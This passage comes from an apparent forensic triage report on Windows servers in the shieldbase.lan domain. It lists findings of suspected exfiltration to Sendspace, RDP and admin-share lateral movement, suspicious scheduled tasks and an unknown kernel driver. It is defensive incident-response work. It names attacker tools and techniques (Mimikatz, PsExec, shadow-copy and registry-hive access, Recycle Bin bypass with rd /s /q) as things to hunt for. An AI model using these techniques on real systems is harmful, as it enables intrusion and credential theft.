• Alternative explanation: An administrator may have been troubleshooting Puppet or intentionally regenerating the node’s SSL identity, which requires removing old keys.
• Verify: Correlate with Windows Security/System EVTX and the USN Journal for puppet, ruby, or command-line processes around 2018-04-25 21:40 UTC; check the Puppet master for certificate revocation/regeneration events on this date.

• **[SEVERITY: MEDIUM] [CONFIDENCE: LOW] Deletion of a file named vss39 from the system root by a domain user.**
• Evidence: 2018-08-15T05:26:56.188999+00:00, row 3, original path C:\vss39 (3.12 MB), deleted by rsydow-a.
• Why it matters: The name resembles the Volume Shadow Copy Service (VSS), which attackers frequently abuse to delete shadow copies or extract credentials; a file with this name sitting in C:\ and later deleted warrants scrutiny.
• Alternative explanation: Could be a benign data file, temporary installer, or user-named object unrelated to VSS abuse.
• Verify: Attempt to recover the item from the Recycle Bin or a shadow copy for content/hash analysis; check Security EVTX for privileged access or elevation by rsydow-a near this timestamp.

IOC Status

• No explicit IOCs were provided in the investigation context; therefore, no IOC status to report.

Data Gaps

• Recycle Bin coverage is sparse and potentially incomplete. Only 21 records are present across a four-month window. Attackers routinely bypass the Recycle Bin (e.g., Shift+Delete, rd /s /q, or direct API calls) or empty it after cleanup, so the absence of other deleted files is not evidence of absence.
• No file content or hashes. It is impossible to determine from this artifact alone whether C:\vss39 was malicious, or whether the Puppet private keys were exfiltrated prior to deletion.
• No execution context. This artifact does not reveal the parent process or command line used to perform the deletions (e.g., Windows Explorer vs. a script vs. malware).
• Gaps in activity windows. There is minimal Recycle Bin coverage between April and August 2018, leaving the majority of the investigation window unassessed via this artifact.
• Missing correlation artifacts. Verification requires cross-referencing with Security EVTX (event IDs 4663/4656), USN Journal, MFT, and Prefetch to determine if the deletions were manual, scripted, or part of an intrusion playbook.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Service account spsql performed multiple file uploads to the public file-sharing site Sendspace via Internet Explorer.
• Evidence: row_ref 20 (2018-09-05T15:02:21.675701+00:00), 28 (2018-09-05T15:01:07.637617+00:00, visit_count: 27), and rows 21–27, 29–38; user spsql; URLs including https://fs09u.sendspace.com/upload?SPEED_LIMIT=0&MAX_FILE_SIZE=314572800&UPLOAD_IDENTIFIER=... and https://www.sendspace.com/.
• Why it matters: Bulk upload activity to a public file-sharing service by a likely SQL service account is highly anomalous and strongly indicates data exfiltration.
• Alternative explanation: A database administrator legitimately used the spsql account to share large SQL extracts externally.
• Verify: Cross-reference file-system audit logs for files touched by spsql between 2018-09-05T14:50Z and 15:05Z; inspect proxy/firewall logs for total outbound bytes to *.sendspace.com.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Domain-admin account administrator.shieldbase accessed an internal host at 10.10.10.10 using randomized hex-string paths and browsed local McAfee-themed zip archives on shieldbase-share in tight succession.
• Evidence: row_ref 39 (2018-05-08T14:47:17.254564+00:00, http://10.10.10.10/ad0b1bdf/), 40 (2018-05-04T13:58:56.107101+00:00, http://10.10.10.10/3079f5a5/), 41 (2018-05-04T13:58:36.659599+00:00, http://10.10.10.10/4b4dcef7/), 43 (2018-05-04T13:58:56.060316+00:00, file:///C:/Shares/shieldbase-share/McAfee_ePO_docs.zip), 44 (2018-05-08T14:47:17.207718+00:00, file:///C:/Shares/shieldbase-share/McAfee%20Installation/Java4ePO.zip), and 45 (2018-05-04T13:58:36.628426+00:00, file:///C:/Shares/shieldbase-share/McAfee.zip); user administrator.shieldbase.
• Why it matters: Non-descriptive hex URL paths coupled with archive file access by a domain admin may reflect staging of malicious payloads disguised as security software.
• Alternative explanation: Internal software distribution server using hashed or UUID-based paths for legitimate McAfee packages.
• Verify: Determine the identity and role of host 10.10.10.10; inspect the referenced zip files for malware; review web server logs on 10.10.10.10 for these paths.

Data Gaps

• Only Internet Explorer history is present; activity in Chrome, Firefox, or Edge is not assessable, and attackers may have used an alternate browser to avoid detection.
• Missing proxy, firewall, or NetFlow records prevent confirmation of upload completion, data volume, or whether files were actually downloaded from 10.10.10.10.
• No download history or temporary internet file artifacts are included to verify what files were transferred to Sendspace or retrieved from the hex-string URLs.
• Title, host, referrer (from_url), typed, and hidden fields are empty across all records, removing navigation context.
• Credential-access tooling, privilege-escalation exploit pages, and persistence mechanisms (e.g., Mimikatz, PsExec, or web-shell access) are not visible in this artifact; they may reside in other browser data or were delivered via non-browser channels.
• A roughly four-month gap exists between the May administrator.shieldbase activity and the September spsql activity; mid-period browser history may have been cleared, rotated, or was never captured.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Privileged domain account used Internet Explorer to download multiple ZIP archives from an internal IP address via non-descriptive hex directory paths directly to file-server shares.
• Evidence: row_ref 4 (ts_end 2018-05-04T13:58:39.872255+00:00, url http://10.10.10.10/4b4dcef7/McAfee.zip, path C:\Shares\shieldbase-share\McAfee.zip, username administrator.shieldbase); row_ref 3 (ts_end 2018-05-04T13:58:56.231867+00:00, url http://10.10.10.10/3079f5a5/McAfee_ePO_docs.zip, path C:\Shares\shieldbase-share\McAfee_ePO_docs.zip, username administrator.shieldbase); row_ref 5 (ts_end 2018-05-08T14:47:17.504580+00:00, url http://10.10.10.10/ad0b1bdf/Java4ePO.zip, path C:\Shares\shieldbase-share\McAfee Installation\Java4ePO.zip, username administrator.shieldbase).
• Why it matters: Browser activity on a file server is atypical; combined with AV-themed filenames, hex path segments, and delivery to accessible shares, this is consistent with attacker staging or masquerading payloads for lateral movement.
• Alternative explanation: Internal IT software distribution repository using hashed directory names for package versioning.
• Verify: Inspect the contents and hashes of the downloaded ZIPs; check execution artifacts (Prefetch/Amcache) for extracted files; validate whether 10.10.10.10 is a legitimate internal asset via proxy/server logs.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Anomalous blob: scheme download logged in Internet Explorer saving an Office configuration XML to a share path.
• Evidence: row_ref 2 (ts_end 2018-05-13T22:36:33.617800+00:00, url blob:5269012C-25A9-4EA4-80DE-3E9CF588CD20, path C:\Shares\Installers\Office\Configuration-updated.xml, username rsydow, browser iexplore).
• Why it matters: blob: URIs are uncommon in IE download histories and may indicate client-side script-driven generation, potentially associated with a web-based exploit kit or manipulated internal page.
• Alternative explanation: Internal administrative web tool using JavaScript to generate and push configuration files.
• Verify: Examine the XML file for malicious external references; recover the hosting page URL from raw WebCacheV01.dat to determine origin.

• [SEVERITY: LOW] [CONFIDENCE: HIGH] Null browser download record with no actionable metadata.
• Evidence: row_ref 1 (browser iexplore, username rsydow; ts_start, ts_end, path, url, size, and state are all empty).
• Why it matters: Incomplete records impede timeline reconstruction and may indicate log truncation, parser limitations, or anti-forensic activity.
• Alternative explanation: Artifact extraction failure for an incomplete or cancelled download session.
• Verify: Validate against raw WebCacheV01.dat and compare with a full browser history parse.

Data Gaps

• Completion and content status unknown: All records lack size and state fields; it cannot be determined whether downloads completed successfully or what the payload sizes were.
• Missing initiation timestamps: ts_start is absent for every record, preventing calculation of download duration or precise ordering.
• Temporal coverage gap: Only five download records exist, all clustered between 2018-05-04 and 2018-05-13. No records cover the intervening ~8 years to the current analysis date (2026-06-13), suggesting log rotation, minimal server browsing, data loss, or evidence destruction. The artifact metadata statistics cite a 2026 end-date that is not reflected in the actual row data.
• Default DFIR tactics not assessable: Privilege escalation, credential access (including Mimikatz-like tooling), persistence, defense evasion, and exfiltration cannot be assessed from browser download artifacts alone; no evidence of these tactics appears in the provided records.
• Execution correlation absent: No associated execution artifacts (Prefetch, Amcache, SRUM) are provided, so it cannot be determined whether any downloaded file was subsequently unpacked or executed.
• Origin server ambiguity: Without DNS, DHCP, or proxy logs, the nature and legitimacy of 10.10.10.10 cannot be established.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Lateral movement via RDP from internal file server to internet-facing DMZ host by user rsydow-a.
• Evidence: row_ref 8, application_name "Remote Desktop Connection 6.1.7600 (Win7)", lnk_name "Connect to dmz-ftp with Remote Desktop Connection", lnk_arguments /v:"dmz-ftp", lnk_mtime 2018-08-11T04:15:05.080000+00:00, username rsydow-a.
• Why it matters: An interactive RDP session initiated from an internal file server to a DMZ asset is a clear lateral-movement vector and suggests the DMZ server was being managed or pivoted to from the internal network.
• Alternative explanation: Authorized administrator performing legitimate maintenance on the DMZ FTP server.
• Verify: Review Windows Security Event Logs (Event ID 4624/4648/4634) on BASE-FILE and the dmz-ftp host around 2018-08-11 04:15 UTC for rsydow-a.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Lateral movement via RDP from internal file server to 172.16.7.11 by service account spsql.
• Evidence: row_ref 15, application_name "Remote Desktop Connection 6.1.7600 (Win7)", lnk_name "Connect to 172.16.7.11 with Remote Desktop Connection", lnk_arguments /v:"172.16.7.11", lnk_mtime 2018-08-31T21:12:00.577999+00:00, username spsql.
• Why it matters: The spsql account appears to be a service account; interactive RDP usage from a file server to another host (likely the DMZ FTP server in the 172.16.7.x segment) is highly anomalous and indicates probable credential compromise or misuse.
• Alternative explanation: Emergency interactive troubleshooting performed by a DBA using the service account.
• Verify: Identify whether 172.16.7.11 is the DMZ FTP server; check if spsql is granted "Allow log on through Remote Desktop Services"; correlate with authentication logs on both endpoints around 2018-08-31 21:12 UTC.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Staging or reconnaissance against DMZ FTP share by rsydow-a via mapped drive days before the RDP session.
• Evidence: row_ref 9, application_name "Notepad 64-bit", lnk_net_name \\dmz-ftp\srl-ftp, lnk_device_name Z:, common_path_suffix Users\rsydow-f\rsydow-test.txt, timestamp 2018-08-08T16:15:36.401999+00:00; row_ref 14, application_name "Windows Explorer Windows 8.1", lnk_net_name \\dmz-ftp\srl-ftp, lnk_device_name Z:, common_path_suffix Users\rsydow-f, timestamp 2018-08-08T16:15:36.401999+00:00; both username rsydow-a.
• Why it matters: Opening a file named rsydow-test.txt on a DMZ-hosted share from the internal file server, followed days later by RDP to the same DMZ host, is consistent with attacker staging, drop-box testing, or cross-boundary data movement.
• Alternative explanation: Legitimate user copying personal files or verifying FTP share connectivity.
• Verify: Recover and inspect rsydow-test.txt from the dmz-ftp image; check SMB session logs on BASE-FILE and dmz-ftp for 2018-08-08.

Data Gaps

• Credential-access tooling, privilege escalation, persistence mechanisms, and defense-evasion activity (e.g., Mimikatz-like behavior) are Not Assessable from Automatic Jump Lists alone; these artifacts only capture user-initiated file/application references.
• Windows Security Event Logs are required to confirm actual authentication events, logon types, source IP addresses, and session durations for the observed RDP connections.
• Whether dmz-ftp and 172.16.7.11 refer to the same DMZ asset cannot be definitively determined from this file-server image; DNS/ARP/network artifacts from other hosts are needed.
• The content and origin of rsydow-test.txt and the purpose of the Users\rsydow-f path on the DMZ share cannot be determined from Jump List metadata.
• Some records show null target MAC times (1601-01-01T00:00:00+00:00, e.g., row_ref 1), indicating the target file may have been deleted, offline, or hosted on a volume that does not return timestamps, limiting file-existence verification.

Nothing suspicious was detected in the Custom Jump Lists artifact.

Data Gaps

• Missing AutomaticDestinations MRU/MFU metadata. Only customDestinations records (9) are present. The artifact guidance notes that AutomaticDestinations DestList data is needed for full MRU/MFU ordering, which limits the ability to determine recency and frequency of access.
• Deduplication removed 9 variant records. The statistics note that 9 rows were removed as timestamp/ID-only duplicates, and 6 retained rows carry a _dedup_comment. This means potentially distinct filesystem timestamps or internal record IDs were collapsed, preventing analysis of timestamp variance within identical entries.
• PowerShell command-line arguments are absent. All six PowerShell-related records (rows 4, 5, 10, 11, 16, 17) have empty lnk_arguments fields. It is therefore not possible to determine whether these shortcuts referenced encoded commands, script paths, or other malicious parameters.
• No execution or network access confirmation. Jump List entries indicate user/application interaction, not proof of execution. All available lnk_mtime/lnk_atime/lnk_ctime values reflect Jump List file timestamps rather than program launch times, and no lnk_net_name, lnk_device_name, or UNC paths are present. Correlation with Prefetch, Amcache, SRUM, Windows Event Logs (Security/TerminalServices), and SMB/RDP authentication logs is required to assess actual execution, lateral movement, or credential access.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] The spsql account shows extensive Explorer-based browsing of administrative C$ shares on at least five remote hosts, including traversing Windows, System32, SysWOW64, Temp, and Logs directories, consistent with reconnaissance and lateral movement.
• Evidence: 172.16.4.4\c$ (row 14), 172.16.4.4\c$\Windows at 2018-08-15T17:17:30+00:00 (row 15), 172.16.4.6\c$ (row 24), 172.16.4.6\c$\Windows at 2018-08-31T19:47:12+00:00 (row 25), 172.16.4.6\c$\Windows\Temp at 2018-09-05T14:28:36+00:00 (row 27), 172.16.4.6\c$\Windows\Temp\perfmon at 2018-09-05T14:44:48+00:00 (row 28), 172.16.7.12\c$ (row 30), 172.16.7.12\c$\Windows at 2018-08-15T17:17:30+00:00 (row 31), 172.16.6.11\c$ (row 33), 172.16.6.11\c$\Windows at 2018-09-06T15:01:04+00:00 (row 34), 172.16.6.11\c$\Windows\System32 at 2018-08-30T13:57:14+00:00 (row 193), and 172.16.6.11\c$\Windows\SysWOW64 at 2018-08-16T00:05:04+00:00 (row 196), all username spsql.
• Why it matters: Interactive use of a likely service account to browse remote admin shares and system directories is a hallmark of attacker-led lateral movement and remote reconnaissance.
• Alternative explanation: An administrator using the SQL service account to perform multi-server maintenance via Explorer.
• Verify: Correlate Security event logs (Event IDs 4624/4628/4648) on the remote hosts (172.16.4.4, 172.16.4.6, 172.16.7.12, 172.16.6.11) for spsql logon events around August–September 2018, and inspect SMB session logs for file access patterns.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] The rsydow-a account browsed the C:\Windows\System32\config directory and its RegBack subdirectory via Explorer, locations that store the SAM, SECURITY, and SYSTEM registry hives.
• Evidence: My Computer\C:\Windows\System32\config at 2018-08-10T04:58:04+00:00 (row 102) and My Computer\C:\Windows\System32\config\RegBack at 2018-09-06T07:27:14+00:00 (row 103), username rsydow-a.
• Why it matters: Access to these paths may indicate an attempt to locate, copy, or exfiltrate credential stores for offline cracking (e.g., harvesting registry hives).
• Alternative explanation: Backup or incident-response personnel legitimately accessing registry backups.
• Verify: Check for shadow copy creation, volume snapshot export, or file access events targeting SAM, SECURITY, or SYSTEM hives around these timestamps; inspect for credential-dumping tools inPrefetch/Shimcache.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] The rsydow-a account browsed C:\vss39 and subdirectories beneath it, suggesting access to a mounted Volume Shadow Copy snapshot or backup mount point.
• Evidence: My Computer\C:\vss39 at 2018-08-08T16:01:08+00:00 (row 94), with subdirectories including C:\vss39\Shares (row 95) and C:\vss39\Shares\Installers (row 96), username rsydow-a.
• Why it matters: Attackers often mount shadow copies via symbolic links or custom mount points to extract credential hives or deleted files while bypassing file-in-use protections and audit trails on the live volume.
• Alternative explanation: Legitimate backup software or administrator-created mount point for data recovery.
• Verify: Review VSS administrative events (Event ID 12289/8229) and disk/volume mount logs to determine the origin of C:\vss39; inspect whether the snapshot was created by authorized backup tools or ad-hoc scripts.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] The spsql account browsed the local C:\Windows\Tasks directory, which houses scheduled task definitions.
• Evidence: My Computer\C:\Windows\Tasks at 2018-07-17T15:45:18+00:00 (row 144), username spsql.
• Why it matters: Access to the Tasks folder may indicate reconnaissance for persistence opportunities (e.g., reviewing or modifying scheduled tasks).
• Alternative explanation: System administrator inspecting scheduled jobs during routine maintenance.
• Verify: Correlate with Windows Event Log Microsoft-Windows-TaskScheduler/Operational for task creation, modification, or enumeration by spsql around this date.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] The rsydow account accessed the SysinternalsSuite directory both locally and from the base-hunt network share on the same day.
• Evidence: My Computer\C:\Shares\Installers\SysInternals\SysinternalsSuite at 2018-05-14T04:09:04+00:00 (row 51) and Network\<USERS_PROPERTY_VIEW {999534523}>\base-hunt\Apps\SysinternalsSuite at 2018-05-14T04:09:04+00:00 (row 56), username rsydow.
• Why it matters: Sysinternals includes PsExec and other utilities frequently abused for lateral movement and remote command execution; staging the suite from a network share to a local share can precede deployment across the environment.
• Alternative explanation: Legitimate system administration or troubleshooting requiring PsExec, Procmon, or other Sysinternals tools.
• Verify: Inspect Prefetch, Amcache, and Shimcache for execution of psexec.exe, procdump.exe, or mimikatz.exe under the rsydow profile; verify whether base-hunt is an authorized software distribution host.

Data Gaps

• Missing access timestamps: The ts_atime and ts_btime fields are entirely empty across all records, and many root/volume entries lack ts_mtime, preventing precise first-access or last-access timeline reconstruction.
• Explorer-only visibility: Shellbags capture only folder browsing via Windows Explorer. Command-line, PowerShell, or programmatic access to these same paths (e.g., net use, robocopy, cmd.exe directory listings) would not appear in this artifact.
• No file-level granularity: This artifact shows directory-level browsing only; it does not reveal whether specific files (e.g., SAM, SECURITY, PsExec.exe) were read, copied, or executed.
• Deduplication obscures frequency: 45 duplicate rows were removed, so the true frequency of repeated access to these sensitive paths cannot be determined from this extract.
• No direct malicious binary indicators: No shellbag paths reference known malicious filenames (e.g., mimikatz, rubeus, cobalt strike); however, absence in shellbags does not mean these tools were absent on the system.
• Large temporal gap: The dataset ends at 2018-09-06, leaving approximately eight years of activity with no visibility. There is no way to assess whether these behaviors continued, escalated, or were remediated.
• Account context unknown: Without Active Directory or local account metadata, the expected behavior and privilege level of spsql, rsydow, rsydow-a, and administrator.shieldbase cannot be confirmed from this artifact alone.

Nothing suspicious was detected in the SAM user account data for this host.

Data Gaps

• Group membership information is absent from this artifact output; therefore, it cannot be determined whether accounts such as range_admin (row_ref 3) or simspaceadmin (row_ref 4) belong to the local Administrators group or other privileged groups.
• The flags field provides numeric values (e.g., row_ref 1: 16; row_ref 2: 533; row_ref 3/4: 528) but no decoding legend is included in the provided data, preventing definitive assessment of enabled/disabled or password-policy states solely from this artifact.
• Windows Security Event Log entries (e.g., Event IDs 4720, 4724, 4732) are not available to corroborate the creation of range_admin (2016-08-10T17:13:39.305088+00:00, row_ref 3) and simspaceadmin (2016-08-11T15:05:18.869457+00:00, row_ref 4), or the nearly simultaneous password resets observed on 2018-08-19 within a ~43-second window for Administrator (row_ref 1), range_admin (row_ref 3), and simspaceadmin (row_ref 4).
• The lastlogin value of 1601-01-01T00:00:00+00:00 for range_admin (row_ref 3) and simspaceadmin (row_ref 4) cannot distinguish between accounts that have never been used and accounts for which interactive logon history has been cleared.
• No host asset inventory or baseline is provided, so the authorization and expected status of the non-default local accounts range_admin and simspaceadmin cannot be conclusively validated from this artifact alone.
• Evidence of credential-access tooling (e.g., Mimikatz-like behavior), malicious program execution, lateral movement, or exfiltration is not contained within SAM user metadata; these DFIR checks are Not Assessable from this artifact alone.

Nothing suspicious detected in this artifact. All three network profiles are associated with the expected corporate domain (shieldbase.lan) and contain no rogue SSIDs, unexpected DNS suffixes, public hotspots, or unknown gateway MACs.

Data Gaps

• Limited visibility into incident window: This artifact contains only three unique network profiles, all created on 2018-04-25 and last connected between 2018-04-25 and 2018-08-08. If the suspected compromise occurred outside this range, this artifact provides no coverage.
• No user or session attribution: NetworkList profiles do not record which user or process initiated the connection, preventing correlation with suspicious logons or execution.
• Absence of traffic or protocol evidence: The artifact confirms network profile existence and last-connection timestamps but cannot reveal active traffic, data transfer, VPN usage, or lateral-movement paths.
• Empty gateway MAC in one record: Row 2 (shieldbase.lan, last_connected 2018-08-08T14:08:11.000319-04:00) has no default_gateway_mac and a <none> DNS suffix; the reason for the missing values (disconnected adapter, different interface, or data loss) cannot be determined from this artifact alone.
• Cannot rule out deleted profiles: Attackers or administrators may have removed network profiles from the registry; absence of profiles does not prove the host never connected to rogue networks.
• Recommended corroboration: Correlate with SRUM, WLAN AutoConfig event logs (Event IDs 8001/8002/6100), DHCP lease logs, DNS query logs, VPN client logs, and firewall/proxy flow records to reconstruct actual network activity and identify anomalous connections not reflected here.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Service account spsql has an HKCU Run entry launching OneDrive, suggesting interactive logon or profile use inconsistent with a typical service account.
• Evidence: row 13, ts 2018-08-28T21:41:34.684645+00:00, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, command C:\Users\spsql\AppData\Local\Microsoft\OneDrive\OneDrive.exe with args /background.
• Why it matters: Consumer cloud-sync tools on a service account create an exfiltration path and may indicate account compromise or misuse on an RDS host.
• Alternative explanation: spsql may be a poorly named interactive user rather than a true non-interactive service account.
• Verify: Audit Windows Security Log for Event ID 4624/4648 logons for spsql and inspect the contents of C:\Users\spsql\OneDrive.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Domain admin account administrator.shieldbase has an HKCU Run entry launching OneDrive, indicating interactive logon and potential data staging.
• Evidence: row 14, ts 2018-05-08T14:39:06.640173+00:00, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, command C:\Users\administrator.shieldbase\AppData\Local\Microsoft\OneDrive\OneDrive.exe with args /background.
• Why it matters: Domain admins should rarely log on interactively to RDS hosts; OneDrive provides a direct exfiltration channel and increases credential exposure.
• Alternative explanation: Administrator manually installed OneDrive for legitimate file access.
• Verify: Correlate with interactive logon events for administrator.shieldbase on this host and review OneDrive sync logs and recent file activity.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Built-in service accounts LocalService and NetworkService contain HKCU Run keys for OneDriveSetup.exe, which is anomalous for non-interactive built-in principals.
• Evidence: row 6 (LocalService, ts 2018-05-04T18:14:49.005667+00:00), row 7 (NetworkService, ts 2018-05-04T18:14:47.318216+00:00), key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, command C:\Windows\SysWOW64\OneDriveSetup.exe with args /thfirstsetup.
• Why it matters: Built-in service accounts do not normally run per-user software setup routines; may indicate profile manipulation or anomalous execution context.
• Alternative explanation: Could be an artifact of operating system deployment/sysprep capturing these profiles during imaging.
• Verify: Check if these profiles were ever loaded interactively and inspect the profile creation/modification timestamps under C:\Windows\ServiceProfiles.

• [SEVERITY: LOW] [CONFIDENCE: LOW] Password manager Dashlane is configured to auto-start for user tdungan on an enterprise RDS host.
• Evidence: row 9 (Dashlane, ts 2018-08-16T00:24:25.090315+00:00), row 10 (DashlanePlugin, same ts), key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, commands under C:\Users\tdungan\AppData\Roaming\Dashlane\.
• Why it matters: Personal password managers are uncommon on managed RDS hosts and may be targeted for credential access.
• Alternative explanation: User-installed personal productivity software.
• Verify: Confirm whether Dashlane is authorized software and review tdungan account activity and browser credential stores.

Data Gaps

• No file hashes, digital signatures, or binary metadata are available in this artifact; cannot confirm whether OneDrive, Dashlane, or other listed executables are unmodified.
• Registry LastWrite timestamps are present, but exact creation times, the user context that created each value, and whether prior entries were deleted require Registry transaction logs (RegBack, LOG1/LOG2) or system event logs.
• Absence of obvious malware (e.g., script hosts, encoded commands, LOLBins) in the current Run/RunOnce keys does not rule out persistence elsewhere; no evidence of anti-forensics or log clearing is visible here, but this artifact does not capture it.
• Cannot assess whether the anomalous service/domain admin entries were created by legitimate software deployment, user action, or an attacker without correlating with Windows Event Logs (4624/4648/4688), Prefetch, Amcache, and user profile folder timelines.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Custom scheduled task "Collect Background Statistics" executes a batch file from the Windows Temp directory under a domain user identity, indicating likely malicious persistence.
• Evidence: row_ref 5 (date 2018-08-25T16:44:33+00:00, author shieldbase\spsql, user_id \spsql, enabled True) and row_ref 6 (action_type Exec, command C:\Windows\Temp\1.bat).
• Why it matters: Running a batch script from a temporary folder via a generically named scheduled task is a well-known attacker persistence technique and is not characteristic of legitimate software deployment.
• Alternative explanation: Extremely unlikely; no standard Windows or enterprise application installs scheduled tasks that execute scripts from \Windows\Temp.
• Verify: Retrieve and analyze the contents of C:\Windows\Temp\1.bat; review Task Scheduler Operational Event Logs (Event IDs 129/201/102/140) for execution history; check file system timestamps on the task XML and the batch file.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Scheduled task CreateExplorerShellUnelevatedTask is configured to run Explorer.EXE with a UAC-bypass flag under the domain Administrator principal using a non-standard author name.
• Evidence: row_ref 8 (author ExplorerShellUnelevated, user_id shieldbase\Administrator, enabled True) and row_ref 9 (command C:\WINDOWS\Explorer.EXE, arguments /NOUACCHECK).
• Why it matters: The /NOUACCHECK argument suppresses UAC verification, and the non-Microsoft author combined with a domain admin execution context suggests a privilege escalation or persistence mechanism.
• Alternative explanation: Could be a rare Windows internal maintenance artifact, but the root task path, author string, and domain admin context are atypical for standard Windows tasks.
• Verify: Inspect the task XML definition for triggers; validate the digital signature and hash of C:\WINDOWS\Explorer.EXE; correlate with Security Event Logs for process creation events.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

• Execution history unavailable: The last_run_date field is empty for all 677 records, so it is impossible to determine whether any task (including the suspicious ones) has executed recently or ever.
• Trigger details absent: The CSV does not contain trigger definitions (e.g., boot, logon, idle, schedule frequency), so the activation conditions for persistence tasks cannot be assessed from this artifact alone.
• Missing timeline context: Many records have empty date fields, and no incident timeframe was provided, making it difficult to correlate task creation with a suspected intrusion window.
• Script content unavailable: The referenced batch file C:\Windows\Temp\1.bat is not included in this artifact; its contents, origin, and file system timestamps are required to confirm malicious intent.
• No Event Log correlation: Task Scheduler Operational and Security Event Logs are not present here, so execution success/failure, process lineage, and user session context are unknown.
• COM handler opacity: Tasks with action_type ComHandler (96 records) have empty action/args fields, obscuring what DLL/method is actually invoked.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Anomalous kernel driver registered as "mnemosyne" with native NT path prefix.
• Evidence: row_ref 254, ts 2018-09-06T20:26:36.288359+00:00, name mnemosyne, displayname mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, start Manual (3), type Kernel Device Driver (0x1), blank description and objectname.
• Why it matters: A non-standard, descriptively blank kernel driver deployed directly to C:\Windows (not System32\drivers) using a \??\ native path prefix. Kernel drivers are a common persistence and privilege-escalation mechanism, and this name does not correspond to any known Windows or major vendor component.
• Alternative explanation: A rare but legitimate third-party hardware or software driver using an unusual naming convention.
• Verify: Inspect the on-disk file C:\windows\Mnemosyne.sys for a digital signature and hash; review System/Setup EVTX logs and Event ID 7045 for the exact installation time and install user; check if the file is present in a known-good hash database.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start "F-Response Subject" service running as LocalSystem with persistent network callback.
• Evidence: row_ref 123, ts 2018-09-06T18:28:30.203453+00:00, name F-Response Subject, imagepath C:\windows\subject_srv.exe, imagepath_args -s "base-hunt.shieldbase.lan:5682" -l 3262 -v "F-Response Subject" -k "155522845", objectname LocalSystem, start Auto Start (2), type Service - Own Process (0x10).
• Why it matters: Auto-start, SYSTEM-privilege service maintaining a callback to base-hunt.shieldbase.lan:5682. If placed by an intruder, this is a persistent backdoor. Even if legitimate forensic tooling, it is a high-privilege network-persistent mechanism that must be accounted for during containment.
• Alternative explanation: Likely a legitimate F-Response forensic collection agent deployed by a hunt team (the callback hostname base-hunt and service naming match the commercial product).
• Verify: Confirm with the incident response lead whether F-Response was authorized on BASE-RD-01; validate the digital signature of C:\windows\subject_srv.exe; correlate the installation timestamp with EVTX Event ID 7045.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] WinPcap packet-capture driver (npf) set to auto-start.
• Evidence: row_ref 315, ts 2018-05-08T21:07:57.173367+00:00, name npf, displayname NetGroup Packet Filter Driver, imagepath system32\drivers\npf.sys, start Auto Start (2), type Kernel Device Driver (0x1).
• Why it matters: The NPF driver enables raw network packet capture and is commonly used with reconnaissance tools such as Nmap or Wireshark. On an RDS host, this may indicate unauthorized network sniffing or lateral-movement preparation.
• Alternative explanation: Legitimately installed by administrators for troubleshooting or monitoring.
• Verify: Check installed software lists for Wireshark, Npcap, or Nmap; review user execution history and prefetch for packet-capture utilities.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Blank-imagepath McAfee driver variant "mfeavfk01" registered seconds after the anomalous "mnemosyne" driver.
• Evidence: row_ref 238, ts 2018-09-06T20:26:37.553988+00:00, name mfeavfk01, displayname McAfee Inc., type Kernel Device Driver (0x1), start Manual (3), with empty imagepath, description, objectname, and servicedll fields; registered approximately 1.2 seconds after row 254 (mnemosyne).
• Why it matters: The name mimics the legitimate mfeavfk driver (row 237) but carries a numeric suffix and lacks any binary path or descriptive metadata, making it anomalous within the McAfee fleet on this host. The near-instantaneous registration with mnemosyne warrants scrutiny.
• Alternative explanation: A data-parsing artifact, a partially failed McAfee update, or a legitimate McAfee driver variant not fully written to the registry key inspected.
• Verify: Check C:\Windows\System32\drivers\ for mfeavfk01.sys; cross-reference with McAfee ePO installation logs; compare the registry key directly to rule out collection gaps.

Data Gaps

• Digital signature / hash data absent. This artifact contains no code-signing or file-hash information, so the legitimacy of Mnemosyne.sys, subject_srv.exe, or npf.sys cannot be verified from services data alone.
• No EVTX Event ID 7045 correlation. The exact installation events for the suspicious services are not present here; the registry timestamps show last-write/modification times, not necessarily the original install time.
• Blank fields limit assessment. Row 238 (mfeavfk01) and several per-user service instances have empty imagepath, type, or objectname fields, preventing full evaluation of those entries.
• No runtime state. This is a static service-configuration snapshot; it does not indicate whether mnemosyne, F-Response Subject, or npf were actually loaded into memory at the time of imaging.
• Missing failure-action and ServiceDll data. Fields such as FailureActions and ServiceDll are not included, which would be needed to detect failure-action persistence or DLL-hijacking techniques.
• Temporal clustering unexplained. A dense burst of service/driver timestamps occurs on 2018-09-06 between ~20:25 and 20:35 (including both benign system drivers and the suspicious mnemosyne entry). Without System/boot logs, it is unclear whether this represents a normal post-boot PnP enumeration or attacker activity leveraging a reboot.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Lateral movement artifacts present on multiple remote administrative shares, indicating cross-host staging and probable tool deployment.
